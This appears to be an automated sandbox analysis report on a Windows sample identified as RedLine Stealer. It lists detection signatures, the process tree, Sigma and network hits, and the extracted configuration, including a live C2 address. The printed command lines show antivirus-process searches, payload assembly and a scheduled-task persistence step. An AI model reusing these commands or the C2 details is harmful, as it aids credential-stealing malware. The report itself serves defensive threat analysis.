Edit tour

Windows Analysis Report
f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Overview

General Information

Sample name:	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
Analysis ID:	1483220
MD5:	284bba6223d9215b7b1f9b99480ad2cd
SHA1:	5fd4f669024dce37ae01d3976d247d599c5e7f8e
SHA256:	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b01582d140d17d8131f658d
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Yara detected RedLine Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found stalling execution ending in API Sleep call

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Sigma detected: WScript or CScript Dropper

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript called in batch mode (surpress errors)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE / OLE file has an invalid certificate

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe (PID: 4304 cmdline: "C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe" MD5: 284BBA6223D9215B7B1F9B99480AD2CD)

cmd.exe (PID: 5884 cmdline: "C:\Windows\System32\cmd.exe" /k copy Surgeons Surgeons.cmd & Surgeons.cmd & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4448 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3580 cmdline: findstr /I "wrsa.exe opssvc.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 5632 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6136 cmdline: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 1308 cmdline: cmd /c md 723582 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 4180 cmdline: findstr /V "wagemissileaffiliatesgreeting" Fisting MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6848 cmdline: cmd /c copy /b Restriction + Manager + Screw + Anchor 723582\r MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Flash.pif (PID: 4368 cmdline: 723582\Flash.pif 723582\r MD5: 6EE7DDEBFF0A2B78C7AC30F6E00D1D11)

schtasks.exe (PID: 5520 cmdline: schtasks.exe /create /tn "ApolloSphere" /tr "wscript //B 'C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js'" /sc onlogon /F /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5420 cmdline: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe MD5: 0D5DF43AF2916F47D00C1573797C1A13)

timeout.exe (PID: 6284 cmdline: timeout 15 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

wscript.exe (PID: 6768 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

ApolloSphere.pif (PID: 2952 cmdline: "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif" "C:\Users\user\AppData\Local\EduTech Dynamics\L" MD5: 6EE7DDEBFF0A2B78C7AC30F6E00D1D11)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": "88.99.151.68:7200", "Bot Id": "linkedin721", "Authorization Header": "147e49efa850c08896c9699376e24ce5"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.3256409691.000000000141A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000002.3256254115.0000000001350000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000003.3249041675.00000000030D4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000003.3249083801.000000000139B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000002.3256579902.00000000014CB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000003.3248898877.0000000001351000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000003.3248832355.00000000042DB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000003.3248740085.000000000141B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000003.3248696366.00000000030D4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: Flash.pif PID: 4368	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems): Data: Command: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, CommandLine: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, ParentCommandLine: 723582\Flash.pif 723582\r, ParentImage: C:\Users\user\AppData\Local\Temp\723582\Flash.pif, ParentProcessId: 4368, ParentProcessName: Flash.pif, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, ProcessId: 5420, ProcessName: RegAsm.exe

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "ApolloSphere" /tr "wscript //B 'C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js'" /sc onlogon /F /RL HIGHEST, CommandLine: schtasks.exe /create /tn "ApolloSphere" /tr "wscript //B 'C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js'" /sc onlogon /F /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: 723582\Flash.pif 723582\r, ParentImage: C:\Users\user\AppData\Local\Temp\723582\Flash.pif, ParentProcessId: 4368, ParentProcessName: Flash.pif, ProcessCommandLine: schtasks.exe /create /tn "ApolloSphere" /tr "wscript //B 'C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js'" /sc onlogon /F /RL HIGHEST, ProcessId: 5520, ProcessName: schtasks.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js", ProcessId: 6768, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: 723582\Flash.pif 723582\r, CommandLine: 723582\Flash.pif 723582\r, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\723582\Flash.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\723582\Flash.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\723582\Flash.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k copy Surgeons Surgeons.cmd & Surgeons.cmd & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5884, ParentProcessName: cmd.exe, ProcessCommandLine: 723582\Flash.pif 723582\r, ProcessId: 4368, ProcessName: Flash.pif

Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, CommandLine: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, ParentCommandLine: 723582\Flash.pif 723582\r, ParentImage: C:\Users\user\AppData\Local\Temp\723582\Flash.pif, ParentProcessId: 4368, ParentProcessName: Flash.pif, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe, ProcessId: 5420, ProcessName: RegAsm.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /k copy Surgeons Surgeons.cmd & Surgeons.cmd & exit, CommandLine: "C:\Windows\System32\cmd.exe" /k copy Surgeons Surgeons.cmd & Surgeons.cmd & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe", ParentImage: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, ParentProcessId: 4304, ParentProcessName: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /k copy Surgeons Surgeons.cmd & Surgeons.cmd & exit, ProcessId: 5884, ProcessName: cmd.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js", ProcessId: 6768, ProcessName: wscript.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , CommandLine: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k copy Surgeons Surgeons.cmd & Surgeons.cmd & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5884, ParentProcessName: cmd.exe, ProcessCommandLine: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , ProcessId: 6136, ProcessName: findstr.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.5

Timestamp:	2024-07-26T21:12:55.216657+0200
SID:	2022930
Source Port:	443
Destination Port:	49715
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.5

Timestamp:	2024-07-26T21:12:17.026947+0200
SID:	2022930
Source Port:	443
Destination Port:	49707
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000B.00000002.3256409691.000000000141A000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: RedLine {"C2 url": "88.99.151.68:7200", "Bot Id": "linkedin721", "Authorization Header": "147e49efa850c08896c9699376e24ce5"}

Multi AV Scanner detection for submitted file

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

ReversingLabs: Detection: 66%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: RegAsm.pdb source: RegAsm.exe, 00000014.00000000.3250004113.0000000000D02000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe.11.dr
Source:	Binary string: RegAsm.pdb4 source: RegAsm.exe, 00000014.00000000.3250004113.0000000000D02000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe.11.dr

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A34005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00A34005
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3494A GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00A3494A
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A33CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00A33CE2
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00A3C2FF
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_00A3CD9F
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3CD14 FindFirstFileW,FindClose,	11_2_00A3CD14
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00A3F5D8
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00A3F735
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00A3FA36
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001E4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_001E4005
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001E494A GetFileAttributesW,FindFirstFileW,FindClose,	16_2_001E494A
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001EC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	16_2_001EC2FF
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001ECD14 FindFirstFileW,FindClose,	16_2_001ECD14
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001ECD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	16_2_001ECD9F
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001EF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_001EF5D8
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001EF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_001EF735
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001EFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	16_2_001EFA36
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001E3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_001E3CE2

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 88.99.151.68:7200

Source: unknown

DNS traffic detected: query: RADgSUbEiddPOZAFcUYmDkmxSjP.RADgSUbEiddPOZAFcUYmDkmxSjP replaycode: Name error (3)

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A429BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

11_2_00A429BA

Source: global traffic

DNS traffic detected: DNS query: RADgSUbEiddPOZAFcUYmDkmxSjP.RADgSUbEiddPOZAFcUYmDkmxSjP

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
